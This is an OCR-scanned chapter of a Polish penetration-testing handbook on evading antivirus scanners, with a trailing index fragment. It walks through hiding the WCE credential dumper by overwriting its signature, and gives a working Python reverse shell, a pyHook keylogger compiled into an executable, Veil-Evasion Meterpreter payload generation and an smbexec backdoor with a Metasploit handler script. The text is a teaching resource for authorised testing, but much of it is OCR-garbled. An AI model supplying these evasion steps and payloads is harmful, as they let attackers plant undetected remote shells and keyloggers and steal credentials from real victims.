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Rozdziat 8.

ZMYtKA ROZGRYWAJACEGO
— OMIJANIE PROGRAMOW
ANTYWIRUSOWYCH

Uwazam, ze skanery antywirusowe istnieja tylko po to, by zatrzymac dzieciaki bawiace
sie w hakeréw. Jesli korzystasz z domyslnych ustawienn Metasploita lub uzywasz plikéw
pobranych wcze$niej z internetu bez zadnej obrébki, jest duze prawdopodobienstwo, ze
nie tylko zostaniesz ztapany, ale ze takze zakonczy sig caly test. Element zaskoczenia to
istotny czynnik wplywajacy na sukces w poruszaniu sie po atakowanej sieci. W tym roz-
dziale wyjasnie, jak nie dac¢ sie ztapa¢ skanerom antywirusowym.

OSZUKIWANIE SKANEROW ANTYWIRUSOWYCH

Regularnie napotykam programy antywirusowe, ktore blokuja fadunek Meterpretera, za-
pobiegaja uzyciu programu WCE (ang. Windows Credentials Editor) lub innego narzedzia
do testéw penetracyjnych albo tez przekazujg uzytkownikowi odpowiednie informacje
ostrzegawcze. Obecnie gwarancji przemkniecia sie nie daja juz szyfratory wbudowane
w narzedzie Metasploit, takie jak msfvenom lub Shikata Ga Nai.

Zanim przejdziemy do zagadnienia omijania skaneréw antywirusowych, chciatbym po-
kazac, czego szukajg tego rodzaju skanery. Jesli od jakiego$ czasu starasz sie unikaé wy-
krycia przez skanery, zapewne wiesz, ze w wiekszosci bazujg one na sygnaturach. Skaner
szuka okreslonych ciagdéw znakéw i gdy je rozpozna, wszczyna alarm. Przedstawione te-
raz przyktady pokaza, jak fatwo mozna manipulowa¢ programami antywirusowymi.

UKRYWANIE WCE PRZED PROGRAMAMI ANTYWIRUSOWYMI
(WINDOWS)

Uwielbiam narzedzie WCE, poniewaz umozliwia wyciggniecie z pamieci komputera haset
zapisanych jawnym tekstem. Problem polega na tym, ze WCE powoduje alarm w zasadzie
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we wszystkich skanerach antywirusowych. Najszybszym sposobem ominiecia programu
antywirusowego jest wiec sprawdzenie, gdzie w pliku WCE skaner szuka sygnatury, po
czym zmienienie jej.

Przyklad — narzedzie Evade

W komputerze z systemem Windows uruchom narzedzie Evade (https.//www.securepla.
net/antivirus-now-you-see-me-now-you-dont/). Evade przyjmuje jako dane plik wykony-
walny i tworzy wiele czesci tego pliku na podstawie zadanego rozmiaru. Przypusémy, ze
mamy plik o rozmiarze 50 kB i chcemy podzieli¢ go na pliki o rozmiarze 5 kB kazdy. Po-
wstanie 10 r6znych czeSci pliku. Pierwszy plik bedzie zawieral pierwsze 5 kB danych (na-
glowek MZ i kilka dodatkowych informacji). Drugi plik bedzie zawieratl oprocz pierwszych
5 kB takze nastepne 5 kB. Wszystko powtorzy sie az do uzyskania petnego pliku.

W przedstawionym przyktadzie wczytatem plik WCE, zdefiniowatem folder wyjsciowy
i klikngtem przycisk Split/ (rysunek 8.1). W folderze wynikowym znajduja sie pliki sta-
nowiace poszczegoblne czesci pliku wejsciowego (rysunek 8.2).

Evade = =

Input File: C:\Work'\appsiwee.exe
Cutput Location: C:\Work\apps\wee_parse
Eytes: 5000

Completed Successfully

About Open File
Exit Select Output

Split!

Rysunek 8.1. Narzedzie Evade

Powinni$Smy uzyska¢ zbi6r réznych plikdéw. Po uruchomieniu szesnastkowego edytora
plikow (HxD) mozemy zauwazy¢, ze pierwszy z nich zawiera pierwsze 5000 bajtow, a drugi
— pierwsze 10 000 bajtéw (rysunek 8.3).

Po otwarciu kalkulatora mozemy odja¢ od siebie wartosci szesnastkowe: 270F-1387 daje

1388, co po zamianie na warto$¢ szesnastkowg daje ostatecznie warto$¢ 5000. Idealnie!
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* 1 ) » Tenkomputer » Dysklokalny (C:) » Work » apps » wce_parse
i Nazwa z Data modyfikacji Typ Rozmiar
5] TestFile_5000 2014-11- Aplikacja 5KB
[ TestFile_10000 2014-11- Aplikacja 10 KB
5] TestFile_15000 2014-11- Aplikacja 15 KB
5] TestFile_20000 2014-11- Aplikacja 20KB
7] TestFile_25000 2014-11- Aplikacja 25KB
5 TestFile_30000 2014-11- Aplikacja 30KB
51 TestFile_35000 2014-11- Aplikacja 35KB
51 TestFile_40000 2014-11- Aplikacja A0 KB
5] TestFile_45000 2014-11- Aplikacja 44KB
(7] TestFile_50000 2014-11- Aplikacja 49KB
5] TestFile_55000 2014-11- Aplikacja 54 KB
5] TestFile_60000 2014-11- Aplikacja 59KB
7 TestFile_65000 2014-11- Aplikacja 64 KB
577 TestFile_70000 2014-11- Aplikacja 69 KB
5] TestFile_75000 2014-11- Aplikacja TAKB
577 TestFile_80000 2014-11- Aplikacja 79KB
v [E] TestFile_85000 2014-11-08 08:52 Aplikacja 84KB
: 44

Rysunek 8.2. Wynik dziatania narzedzia Evade

Zacznij od najmniejszego pliku i przeskanuj go za pomoca wybranego skanera antywi-
rusowego. Czy wlaczyl sie alarm? Jesli nie, przejdz do nastepnego pliku. Jesli tym razem
program antywirusowy zglosit ostrzezenie, oznacza to, ze ostatnie 5000 bajtow ostatnie-
go pliku zawiera co$, co wywoluje alarm w programie antywirusowym (rysunek 8.4).

Podczas generowania plikow lub skanowania recznego program antywirusowy informu-
je uzytkownika o podejrzanych plikach. W zaleznosci od wybranej przez program akcji
pliki po TestFile 145000 moga zosta¢ usunicte, co oznacza, ze sygnatura musi znajdowaé
sie miedzy bajtami 145 000 — 150 000.

Zobaczmy, co znajduje sie w tym miejscu. Po zamianie 145 000 na warto$¢ szesnastko-
wa otrzymujemy 23 668. Przekonajmy sie¢ w edytorze HxD, co tez tutaj jest. Poszukaj
ciekawych miejsc w pliku lub uruchom ponownie narzedzie Evade, aby bardziej szczego-
towo podzieli¢ plik wykonywalny.

Wydaje sie, ze tym razem udato mi sie zlokalizowaé miejsce, ktérego poszukuje program
antywirusowy. Sygnaturg jest nazwa aplikacji i jej autor (rysunek 8.5).

Za pomocg edytora HxD mozemy nadpisaé te wartoSci, po czym zapisa¢ zmodyfikowa-
ny plik wykonywalny pod nowa nazwa (rysunek 8.6).

Nadpisatem sygnature warto$ciami odpowiadajgcymi znakowi A i zapisatem plik jako
wceel.exe. Na szczeScie w tym przypadku sygnatura nie dotyczy binarnej czesci pliku wy-
konywalnego, a jedynie danych wy$wietlanych na ekranie. Przetestujmy zmodyfikowang
wersje pliku w programie antywirusowym (rysunek 8.7).
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Rysunek 8.3. Poréwnanie plikow

Skaner nie zgtasza juz zadnych uwag wzgledem aplikacji, a samo narzedzie nadal funkcjo-
nuje znakomicie. Warto pamietaé, ze wszystko dziata, poniewaz modyfikowane wartosci
dotyczyly tekstow pojawiajacych sie na ekranie, a nie samego kodu binarnego aplikacji.
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Nazwa Data modyfikacji Typ Rozmiar Wykryte elementy Pozom g

. sias po ; 0 HackTool:Win32/Wincred.H Sredni
[T TestFile_105000 2014-11-0 Aplikacja 103 KB
[T TestFile_110000 2014-11-0 Aplikacja 108 KB
=57 TestFile_115000 2014-1 Aplikacja 113 KB
[ TestFile_120000 2014-1 Aplikacja 118 KB Kategoria: Narzedzie

. S P —_—
[#5] TestFile_125000 2014-11 Aplikacja 123 KB e ety P kSR ey
[ TestFile_130000 2014-11- Aplikacja 27 KB

Zaleca keja: Izj na dzistanie tego wykryte
57 TestFile_133000 2014-11-08 Aplikacja 13248 [ [ e R R iy
877 TestFile_140000 2014-11-01 Aplikacja 137 KB Reimenty:
[®] TestFile_145000 2014-11- Aplikacja 142 KB ﬁIa:C:‘\Wur‘k‘aDps‘wvcE.exE
[ TestFile 150000 2014-11- Aplikacja 7 e
[ TestFile_155000 2014-11- Aplikacja 152 KB file: ork\apps'wce_parse\TestFile_160000.exe
s . s file: ork\apps'wee_parse\TestFile_165000.exe

E]TEStF'Ie_T 50000 2014-1 Aplikacja 157 KB file:C:\Work\apps'wee_parse [TestFile_170000.exe

- 2014- Aplikaci 62 KI file:C:\Work'\apps'wee_parse|TestFile_175000.exe
E]TEStFHEJ 5000 01 Aplikacjs 1R2KE file: C:\Work'apps'wee_parseTestFile_180000.exe
=] TestFile_170000 2014-11- Aplikacja 167 KB file:C:\Work\apps'wee_parzeTestFie_135000.exe

plikac)

) i s Y file: C:\Work'apps'wee_parseTestFile_190000.exe
CE| TestFile_175000 2014-1 Aplikacja 171 KB file:C:\Work'\apps'wee_parseTestFie_195000.exe
[ TestFile_180000 2014-11- Aplikacja 176 KB

Rysunek 8.4. Znajdowanie pliku powodujgcego ostrzezenie w programie antywirusowym

iy HxD - [C\Work\apps\wce.exe] = =
23] Plik Edycja Znajdz Widok Analizy Dodatkowe Okna 7 =[] [
T w ae e 16 v|| Ansi vl | hex v
8] TestFile_145000.exe | 8| TestFile 150000.exe | ] wce.exe
Cffset (h) 03 04 05 06 07 08 09 OA OB OC OD QOE OF 2
00023CEQ 00 3A 00 Q00 Q0 25 Z2E 32 58 00 00 00 00 ....:...%.2X....
00023CF0 58 3A 00 00 00 25 73 3A 25 73 3A 00 00 %.8X %3:%s3
00023D00 8 00 00 00 0O 3A 00 00 00 25 2E 32 58 %.2X
00023D10 00 &1 62 00 00 OD OA 00 OO0 OA 00 00 0O ...
00023D20 65 74 68 69 6E 67 20 T4 65 72 72 €9 62 something terrib
00023D30 8 64 21 20 63 6F 75 le happened! cou
00023D40 6E 6F 63 &1 74 65 20 1d not allocate
00023D50 &F 20 8E &5 77 20 6C memory for new 1
00023D60 21 65 20
00023D70 68 00 00
00023DE0 20 6E &4
00023090 64 20
00023DA0 20 32 30
00023080 20 20 53
00023DCO 20 65 72
00023DD0 6F 6E 61
00023DEQ 61 T A
00023DF0 o0 T4 69
00023E00 o0 6C 08
00023E10 &F 73 73 69 6F 6E 73 t logon sessions
00023E20 64 63 72 &5 €64 €5 6E and NILM creden
00023E30 &c 61 75 eC 74 29 2E tials (default). v
Offset: 23080 Blok: 23D80-23DF0 Dhugose: 71 Nadpisywanie

Rysunek 8.5. Identyfikacja sygnatury wywotujgcej alarm w programie antywirusowym

Jesli sygnatura bazowataby na kodzie, ktérego nie mozna zmienié, przedstawiony trik nie
zadziatalby. Niniejszy przyklad mial przede wszystkim zobrazowa¢ stabos$¢ programoéw
antywirusowych i samg idee unikania wykrycia zagrozenia przez skaner.

SKRYPTY W JEZYKU PYTHON

Python to Twdj najlepszy przyjaciel. Uzywam tego jezyka do tworzenia wickszo$ci na-
rzedzi i przeprowadzania wtaman. Powodow, dla ktoérych korzystam z jezyka Python, jest
kilka. Po pierwsze, istnieje wiele systeméw, ktore pliki wykonywalne i skrypty Pythona
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1o HxD - [CA\Work\apps\wce?2.exe] = B

ﬂ Plik Edycja Znajdi Widok Analizy Dodatkowe Okna 7 |:|E|z|
- |';,;> Ml 16 v|ANSI v|hex ™

E] wicel.exe
Offset(h) 00 01 02 03 04 05 06 07 08 09 OA OB OC OD OQOE OF L]
00023CF0 25 2E 38 58 3A 00 00 00 25 73 3A 25 73 34 00 00 %.8X:.
00023D00 25 2E 32 58 00 00 00 00 33 00 00 00 25 2E 32 58 %.2X -
00023010 00 00 00 00 61 62 OO 00 OD OA 00 00 OR 00 00 00 ....ab..........
00023020 73 6F 6D 65 74 68 €3 6E 67 20 74 65 72 72 €9 62 something terrib
00023030 6C 65 20 68 61 70 70 65 6E 65 64 21 20 63 6F 75 le happened! cou
00023040 6C 64 20 6E 6F 74 20 61 6C 6C 6F 63 61 74 65 20 1d not allocate
00023D50 6D 65 6D 6F 72 79 20 66 6F 72 20 6E 65 77 20 6C memory for new 1
00023D60 63 73 T4 21 OA 00 00 00 55 73 65 20 2D 68 20 66 dist!....Use -h £
00023070 6F 72 30 68 €5 6C 70 2E OA 00 00 00 00 00 00 00 or help.........
00023080 [41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 AAARRAAARRRAAAAR
00023090 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 AAARAAARARARAAAD
Q0002Z3DRO 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 ALRLRROLOOOARAARD
000Z3DBO 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 AAAAADADARARAMNAD
00023DCO (41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 ARLARDLODDARDARD
000Z3DD0 (41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 ALRLAARDRODRARAARA
0O00Z3DE0 |41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 ALRLAARDRORRARAARD
00023DF0 41 OA 00 00 5C 00 00 00 4F 70 74 69 6F 6E 73 34 A...\...Options:
0002Z3E00 20 20 OA 00 OA 00 00 00 09 2D &6C 09 09 4C €9 73  ....... -1..Lis
D002Z3E10 T4 20 6C 6F 67 6F €E 20 73 65 73 73 69 6F 6E 73 t logon sessions
00023E20 20 61 6E 64 20 4E 54 4C 4D 20 63 72 65 64 65 6E  and NTLM creden
00023E30 T4 69 61 6C 73 20 28 64 65 66 61 75 6C 74 29 2E tials (default).
00023E40 OA 0O OO0 00 OO0 00 OO0 0D 09 09 09 4F 70 74 69 6F ....ov.vuvn. Gptia |,

Offset: 0 MNadpisywanie

Rysunek 8.6. Modyfikacja sygnatury wtaczajacej alarm
B wee2 2014-11-08 10:12 Aplikacja
L Windows Defender = &=

Stan komputera: Chroniony

Strona gidwna Aktualizuj Ustawienia

Komputer jest monitorowany i chroniony. Opcje skanowania:

() Pelne
() Niestandardowe

@ Ochrona w czasie rzeczywistym: Wiaczona

Skanuj teraz
Aktualne

@) Definicje wirusow i programow szpiegujacych:

Rysunek 8.7. Skaner antywirusowy niesygnalizujacy juz zagrozenia

majg na swojej , bialej liscie”. Po drugie, bardzo tatwo doda¢ element losowosci i obej$é
dowolng sygnature. Po trzecie, dzieki narzedziom takim jak py2exe mozna bardzo tatwo
zamieni¢ dowolny skrypt na plik wykonywalny.

Powloka jezyka Python

Po obejrzeniu prezentacji Dave a Kennedy'ego na konferencji BSides w 2012 roku (http./
www.trustedsec.com/files/BSIDESLV Secret_Pentesting Techniques.pdf) na powaznie za-
interesowatem sie wykorzystaniem jezyka Python do tworzenia niebezpiecznych tadun-
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kéw. Okazuje sie, ze najtatwiej napisaé prosty skrypt i nastepnie zamieni¢ go na plik wy-
konywalny za pomocg narzedzia py2exe.

#1/usr/bin/python
import socket, subprocess
HOST = '192.168.10.100'
PORT = 5151
s = socket.socket (socket.AF_INET, socket.SOCK _STREAM)
s.connect ((HOST, PORT))
s.send('[*] Ustanowiono potaczenie!')
while 1:
data = s.recv(1024)
if data == 'quit': break
proc = subprocess.Popen(data, shell=True, stdout=subprocess.PIPE, stderr=subprocess.PIPE,
stdin=subprocess.PIPE)
stdout_value = proc.stdout.read() + proc.stderr.read()
s.send(stdout_value)
s.close()

Przedstawiony kod utworzy potaczenie konsolowe do adresu IP 192.168.10.100 na porcie
5151. Je$li mam tam uruchomione narzedzie netcat, uzyskam efekt odwroconej powto-
ki. Korzystajac z programu PylInstaller, mozemy zamieni¢ plik py na plik wykonywalny.

C:\python27\python.exe C:\utils\pyinstaller-2.0\pyinstaller.py --out=C:\shell\ --noconsole
--onefile C:\shell\shell.py

O ile wiem, zaden program antywirusowy nie podniesie alarmu w przypadku takiego pliku.

Logowanie znakéw w Pythonie'

Wykorzystuje sie wiele réznych rodzajow narzedzi do logowania wprowadzanych znakéw.
Moim celem przy tworzeniu takiego narzedzia byta cheé¢ unikniecia rozpoznania przez
program antywirusowy i, w miare mozliwos$ci, znalezienie sie na ,biatej liscie” dopusz-
czonych aplikacji.

Przedstawiony skrypt spowoduje, ze beda rejestrowane wszystkie klawisze naci$niete na
klawiaturze.

import pyHook, pythoncom, sys, logging
file Tog = 'C:\\systemlog.txt'
def OnKeyboardEvent (event):
Togging.basicConfig(filename=file log, level=logging.DEBUG, format='%(message)s')
chr(event.Ascii)
logging.log(10, chr(event.Ascii))
return True
hooks_manager = pyHook.HookManager ()
hooks_manager.KeyDown = OnKeyboardEvent
hooks_manager.HookKeyboard()
pythoncom.PumpMessages ()

' http:/fwww.youtube.com/watchiv=8BiOPBsXh0g#t=163
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Oto moj plik konfiguracyjny setup.py:

from distutils.core

import setup

import py2exe

setup(options = {'py2exe': {'bundle files': 1, 'compressed': True}},
windows = [{'script': "logger.py"}],
zipfile = None,

)

Dzieki narzedziu py2exe skonwertuje skrypt na plik wykonywalny, wykonujac ponizsze
polecenia:

python.exe setup.py install
python.exe setup.py py2exe

Uzyskatem w ten sposéb plik binarny, ktéry zapisuje wszystkie nacisniete klawisze w pli-
ku C:|systemlog.txt. Skrypt jest niezwykle prosty i jak do tej pory nie wykryt go zaden pro-
gram antywirusowy. W razie potrzeby mozna doda¢ do skryptu nieco losowosci, by mie¢
pewno$¢, ze jego sygnatura nie znajduje sie bazie danych programu antywirusowego.

Przyklad uzycia narzedzia Veil (Kali Linux)

Veil to napisany przez Christophera Truncera generator tadunkow, ktérego zadaniem
jest omijanie zabezpieczen antywirusowych. Narzedzie korzysta z wielu réznych technik,
by oszuka¢ skaner antywirusowy. Najbardziej znane jest jednak z przyjmowania powto-
ki Meterpretera, jej konwersji na jezyk Python i opakowania tadunku za pomoca py2exe
lub pyinstaller. W ten sposéb plik wykonywalny potrafi oszuka¢ wiele programéw an-
tywirusowych, a nawet znalez¢ sie na ,biatej liscie” programoéw dopuszczonych do wy-
konania. Istnieje wiele r6znych sposobéw uzycia narzedzia Veil — opisze ten najpopu-
larniejszy.

Utworzenie zaszyfrowanego pliku Meterpretera dla odwrdéconej powloki

Wykonaj nastepujgce czynnosci:
e Przejdz do folderu /opt/Veil i wykonaj skrypt:

cd /opt/Veil
./Veil-Evasion.py.

e W przykladzie uzyjemy tadunku MeterHTTPSContained, wiec wpisz
ponizsze polecenie:
use 25

e Podobnie jak w przypadku Metasploita ustawimy warto$ci LHOST i LPORT.
Przyktadowo moj system atakujacy ma adres IP 192.168.75.131, a portem
nastuchujgcym (LPORT) jest port 443 (by udawac komunikacje SSL):

set LHOST 192.168.75.131
set LPORT 443
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e Whpisz ponizsze polecenie, aby wygenerowa¢ tadunek (rysunek 8.8):
generate

Veil-Evasion | [Version]: 2.13.1

[Web]: https://www.vell -framework.com/ | [Twitter]: @VeilFramework

Main Menu
payloads loaded

Available commands:

use use a specific payload

info information on a specific payload
list list available payloads

update update Veil to the latest version
clean clean out payload folders

checkvt check payload hashes vs. VirusTotal
exit exit Veil

[=] Please enter a command: use 25.

Mame : python/meterpreter/rev_https_contained

Language: python

Rating: Excellent

Description: self-contained windows/meterpreter/reverse_https

stager, no shellcode

Name Current Value Description

LHOST 182.168.75.131 1IP of the metasploit handler
LPORT 443 Port of the metaspleoit handler
compile to exe Y Compile to an executable
inject_method virtual [virtuallalloc or [voild]pointer
use_pyherion N Use the pyherion encrypter

[=] Please enter a command: gemeratel

Rysunek 8.8. Konfiguracja narzedzia Veil

Jak wcze$niej wspomnialem, chcemy otoczyé wynikowy plik wykonywalny skryptem
Pythona, aby unikng¢ wykrycia. Skorzystaj z domySlnego instalatora pyinstaller, wy-
bierajac opcje numer 1 (rysunek 8.9).

Po zakonczeniu pracy narzedzie Veil umiesci plik wynikowy w folderze /root/veil-output/
compiled/. Nie umieszczaj wyniku w witrynach typu VirusTotal, bo moze to spowodo-
wacé w przysztosci zgltoszenie alertu antywirusowego. Mozna natomiast sprawdzi¢ plik
wynikowy za pomoca lokalnych programéw antywirusowych. Ten sposéb dziatania jak
na razie jeszcze mnie nie zawiodt, wiec, jak sadze, powinien stanowic cze$¢ arsenatlu kaz-
dego testera.

165
Kup ksigzke Pole¢ ksigzke


http://helion.pl/page354U~rt/podpen
http://helion.pl/page354U~rf/podpen

PODRECZNIK PENTESTERA

Veil-Evasion | [Version]: 2.13.2

[Web]: https://www.veil-framework.com/ | [Twitter]: @VeilFramework

[*] Executable written to:

Language:

Payload: python/meterpreter/rev_https_contained

Required Options: LHOST=192.168.75.131 LPORT=443 compile_to_exe=Y
inject_method=virtual use pyherion=N

Payload File: /root/veil -output/source/updaterl?.exe.py

Handler File: /root/velil -output/handlers/updaterlZ.exe_handler.rc

[*] Your payload files have been generated, don't get caught!
[!] And don't submit samples to any online scanner! ;)

[=] press any key to return to the main menu: I

Rysunek 8.9. Jezyk Python — ukrycie odwréconej powtoki Meterpretera

Narzedzie smbexec (Kali Linux)

Smbexec to narzedzie napisane przez bravOhax (https://github.com/bravOhax/smbexec),
oferujace wiele réznych funkcji. W ksigzce uzyliSmy juz tego narzedzia do pobrania skro-
tow z kontrolera domeny, ale mozna je wykorzysta¢ réwniez do wydobycia listy udziatéw,
sprawdzenia loginéw, wylaczenia UAC (ang. User Account Control), a nawet utworzenia
zaszyfrowanych wersji plikéw wykonywalnych Meterpretera. Tworca narzedzia uzywa
wielu technik stuzacych do zaciemnienia wtasciwej tresci, wlaczajac w to losowe zmiany
i kompilacje bezposrednio z kodu zZrodlowego w jezyku C (zajrzyj do kodu zrodtowego
smbexec.sh, by pozna¢ szczegoly). W przedstawionym przykladzie utworzymy odwrdco-
na powloke.

Utworzenie zaszyfrowanego pliku Meterpretera dla odwrdéconej powloki

Wykonaj kolejno nastegpujace czynnosci:
e Wrykonaj polecenia:

cd /opt/smbexec
./smbexec.sh

e Wybierz polecenie numer 2 (System Access).
e Wrybierz polecenie numer 2 (Create an executable and rc script).
e Wybierz polecenie numer 2 (windows/meterpreter/reverse_https).

e Wpisz lokalny adres IP i numer portu:

172.16.139.209,
443.

Po zakoniczeniu pracy przez narzedzie smbexec w folderze, w ktérym sie obecnie znaj-
dujemy, pojawia sie nowy folder. W jego nazwie znajdziemy dane dotyczace daty i czasu
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utworzenia. Folder zawiera plik backdoor.exe, ktory stanowi zaszyfrowany plik wykony-
walny Meterpretera dla odwréconej powtoki.
root@kali:/opt/smbexec/2013-12-23-1425-smbexec# 1s -alh

total 128K

drwxr-xr-x 2 root root 4.0K Dec 29 18:28 .

drwxr-xr-x 10 root root 4.0K Dec 23 14:44 ..

-rwxr-xr-x 1 root root 110K Dec 23 14:28 backdoor.exe

-rw-r--r-- 1 root root 283 Dec 23 14:28 metasetup.rc
-rw-r--r-- 1 root root 92 Dec 23 14:28 shal-backdoor.hash

W folderze z plikiem backdoor.exe znajduje sie réwniez skrypt metasetup.rc. Skrypty RC
s omawiane co prawda w rozdziale 9., ale po otwarciu pliku najprawdopodobniej zoba-
czysz kod podobny do przedstawionego ponizej:

spool /opt/smbexec/2013-12-23-1425-smbexec/msfoutput-1425.txt

use exploit/multi/handler

set payload windows/meterpreter/reverse https

set LHOST 172.16.139.209

set LPORT 443

set SessionCommunicationTimeout 600

set ExitOnSession false

set InitialAutoRunScript migrate -f
exploit -j -z

Skrypt automatycznie konfiguruje narzedzie i uruchamia procedure obstugi dla wygene-
rowanego wiasnie tadunku. Dodaje réwniez polecenia zwigzane z przekroczeniem czasu
i automatyczna migracja PID (ang. Process IDentifier). Aby uruchomié skrypt, wykonaj
polecenie:

msfconsole -r metasetup.rc

PODSUMOWANIE

Ten rozdziatl powinien daé¢ dobre rozeznanie w tym, co nalezy zrobi¢, aby ukry¢ sie przed
skanerem antywirusowym. Ostatnig rzeczg, na ktdrej nam zalezy, jest konfrontacja z pro-
gramem antywirusowym powstrzymujacym nas przed wtamaniem sie do systemu posia-
dajacego luke. Istnieje wiele r6znych metod oszukiwania programoéw antywirusowych
— przedstawitem tylko kilka z nich, ale nawet one powinny da¢ mozliwosé¢ dobrego ukry-
cia sie.

Testy penetracyjne polegaja na wyprobowywaniu réznych narzedzi, technik, taktyk, by
przekonac¢ sie, co dziata w konkretnym $rodowisku. Pamietaj, zeby nie wysytaé plikoéw
wykonywalnych do systeméw takich jak VirusTotal, poniewaz czas zycia tych plikéw
bez alarmowania o zagrozeniu moze sie znaczaco skrocic.
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A
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181, 182
AES, Advanced Encryption
Standard, 90
algorytmy skrotéw, 170
analiza
aktywna, 31
danych banerowych, 35
domeny, 28
pasywna, 23, 25
rozmieszczenia znakow, 77
ARP, Address Resolution
Protocol, 111
atak
aktywny, 144
CSREF, 73-76
dns_spoof, 115
fizyczny, 152
na kontroler domeny, 101
na WPS, 150
pasywny, 142
phishingowy, 128
Pretty Theft, 70, 71
SLAAC, 116
typu brute force, 79
typu DoS, 116
typu MITM, 116
typu XSS, 48, 66, 72
wykorzystujacy SMTP, 125
wykorzystujacy SSH, 127
z wykorzystaniem apletu Javy,
133
z zamiang adreséw DNS, 116
za pomoca BeEF, 69
zdalny, 52
automatyczne uruchamianie
makra, 137
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B

banery, 36

baza danych MongoDB, 35
bezpieczenistwo tokendw, 76
blokada odczytu pliku, 101

C

CSRE, Cross-Site Request Forgery,
49,73

D

dane

logowania, 131

uwierzytelniajace, 85, 92
DHCP, Dynamic Host

Configuration Protocol, 116, 152
dodatek FoxyProxy, 41
domena, 90
DoS, Denial of Service, 116
dostep

do domeny, 89

do komputera, 68

do konta administratora, 95

do OWA, 174

do profilu uzytkownika, 70

do SSH, 126

do systemu, 70

do witryny, 119

fizyczny, 141
dzialanie narzedzia

Evade, 159

Hamster, 118

Mimikatz, 94

oclHashcat, 172

Peeping Tom, 39

Responder, 88

Smbexec, 102

SQLninja, 64

E

edytor HxD, 159

EIP, Extended Insertion Point, 54
element APR-DNS, 121

emulacja punktu dostepowego, 152

F

folder
OSINT, 24
peepingtom, 35
framework, 191
BeEF, 66, 67
Impacket, 89

G

generowanie
e-maili, 129
plikéw Excela, 136
raportu, 130
GPP, Group Policy Preferences, 90

H

hasta
MD5, 171
NTLM, 169, 173
uzytkownikéw, 99
WEP, 145

identyfikator SSID, 143
1IS, Internet Information
Services, 36
informacje o
AP SSID, 143
lukach, 178
pingach, 65
plikach cookie, 120
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informacje o
sesjach uzytkownikéw, 100
sieci Wi-Fi, 109
systemie, 110
srodowisku PowerShell, 109
wykorzystaniu luki, 58
instalowanie sshpass, 155
interaktywna powltoka, 60

inzynieria spoleczna, 125, 135, 156

J
jezyk Python, 161
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138, 157
filtrowania ruchu, 180
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SET, Social-Engineer Toolkit, 131
sfingowana strona
uwierzytelniania, 122
sieci
bezprzewodowe, 141
Wi-Fi, 144
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